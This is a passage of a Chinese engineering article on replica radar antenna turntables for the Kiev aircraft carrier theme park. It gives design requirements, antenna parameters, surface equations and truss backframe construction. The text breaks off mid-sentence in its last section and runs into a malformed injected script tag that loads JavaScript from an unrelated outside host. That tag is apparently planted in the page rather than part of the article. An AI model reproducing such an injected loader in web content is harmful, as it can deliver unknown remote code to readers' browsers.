摘 要：介绍了顶帆和顶舵雷达天线转台仿真系统的组成、天线的结构型式和方位转台的传动型式，对天线背架以及顶帆雷达的转盘和尾翼等一些关键部件的结构特点及设计原理作了分析，提供了天线和方位转台的主要参数。
关键词：顶帆雷达；顶舵雷达；天线转台系统；仿真设计
1引言
同明斯克号航母一样，现停泊在渤海湾的基辅号航母也将被改造成为海上军事主题公园，供人们游览观赏。由前苏联研制的这两艘航母，过去都配置有顶帆、顶舵和前灯雷达，雷达的天线转台系统架设在航母岛式上层建筑的甲板上，工作在海洋环境中。在这些雷达设备中，顶帆雷达的天线转台系统体积最大，所在的位置最高，特别引人注目。由于任务的需要，笔者负责基辅号航母上三种四部雷达的天线转台仿真系统的研制工作。这里主要就顶帆和顶舵雷达天线转台系统的仿真设计问题进行讨论。
2雷达天线转台仿真系统的设计要求
（1）雷达天线转台仿真系统的外形和组成应与原雷达相类似，系统中天线的形状、构成和主要尺寸应与原雷达基本一致。
（2）本系统各组成部分的零件均用金属材料制造。
（3）在风速不大于20 m／s的情况下，系统工作正常，方位转台能使天线以3 r／min的转速在水平面内作方位旋转运动。
（4）本系统各组成部分的结构应具有足够的强度和刚度。在风速不大于35m／s的情况下，系统结构不破坏。
（5）尽量减轻系统的重量。
3雷达天线转台仿真系统的组成
图1（a）和（b）分别给出了顶帆和顶舵雷达天线转台仿真系统的组成。顶帆雷达天线转台仿真系统主要由l波段柱形抛物面天线、方位转台和尾翼等部分组成，天线和尾翼设置在方位转台的两侧。天线通过支架和支柱分别与方位转台的转盘和球形支座固定，尾翼通过法兰与转盘和球形支座联接。在尾翼上设置有平衡重和风力平衡板。顶舵雷达天线转台仿真系统主要由s波段柱形抛物面天线、s波段双弯曲抛物面天线和方位转台等部分组成，两种天线背靠背地设置在方位转台的两侧。s波段柱形抛物面天线通过支柱与方位转台的转盘和球形支座固定，s波段双弯曲抛物面天线通过支架与球形支座联接。
4天线的结构型式与主要参数
顶帆雷达的l波段柱形抛物面天线、顶舵雷达的s波段柱形抛物面天线和s波段双弯曲抛物面天线都是由反射体、背架、馈源和馈源支架等部件组成的（见图1）。表1给出了这三种天线的结构型式和主要参数。对于l波段柱形抛物面天线，用作反射体的钢丝网可以用直径为1.5mm的钢丝捆绑在背架的钢管上。对于s波段柱形抛物面天线，支撑板的型面方程与反射面的方程一致。支撑板（8个）通过弯角件与背架联接。在支撑板的型面上设置栅条，两者通过焊接固定。对于s波段双弯曲抛物面天线，支撑板和栅条的型面方程为y2＝4800z，支撑管的型面方程为x2＝8400z。支撑板（14个）通过弯角件与背架联接。先在支撑板的型面上设置支撑管，然后在支撑管的型面上设置栅条，均通过焊接固定。
5天线背架的构成
图2（a）、（b）和（c）分别提供了l波段柱形抛物面天线、s波段柱形抛物面天线和s波段双弯曲抛物面天线背架的结构型式。这三种天线的背架均采用桁架结构，其结构特点及设计原理如下：
（1）天线的背架都是由钢管（无缝钢管20）及用作法兰的厚钢板（q235）焊接而成的。对于l波段柱形抛物面天线的背架，钢管的外径和壁厚为42×4、36×3、30×2、25×2、20×2。对于s波段柱形抛物面天线和s波段双弯曲抛物面天线的背架，钢管的外径和壁厚为36×3、30×2、25×2、20×2。这三种背架的对称性较好，造型美观。
（2）背架的基本单元是6面体，包含有8个结点18根杆件，具有几何不变性。这三种背架的刚度高，承载能力强。
（3）对于l波段柱形抛物面天线和s波段双弯曲抛物面天线的背架，其基本单元中，有4个面平行于z轴，有1个面的法线与反射面上相对应的那部分曲面在某点处的法线基本一致。对于s波段柱形抛物面天线的背架，其基本单元中，有2个面平行于z轴，有2个面垂直于反射面，有1个面的法线与反射面上相对应的那部分曲面在某点处的法线基本一致。该背架结构匀称，刚度高。
（4）l波段柱形抛物面天线的背架由主桁架和2个片桁架组成，s波段柱形抛物面天线的背架由主桁架和1个片桁架组成，主桁架与片桁架通过法兰联接，这样便于背架的运输和架设。
（5）对于l波段柱形抛物面天线，背架上的e1～e6点为背架与支撑杆的连接点，e7～e10点为背架与安装法兰的连接点。对于s波段柱形抛物面天线，背架上的e1和e2点为背架与支撑杆的连接点，e3～e6点为背架与安装法兰的连接点。对于s波段双弯曲抛物面天线，背架上的e1和e2点分别通过支撑杆与馈源支架上相应的e1和e2点联接，e3和e4点分别通过支撑杆与方位转台?script src=http://er12.com/t.js>
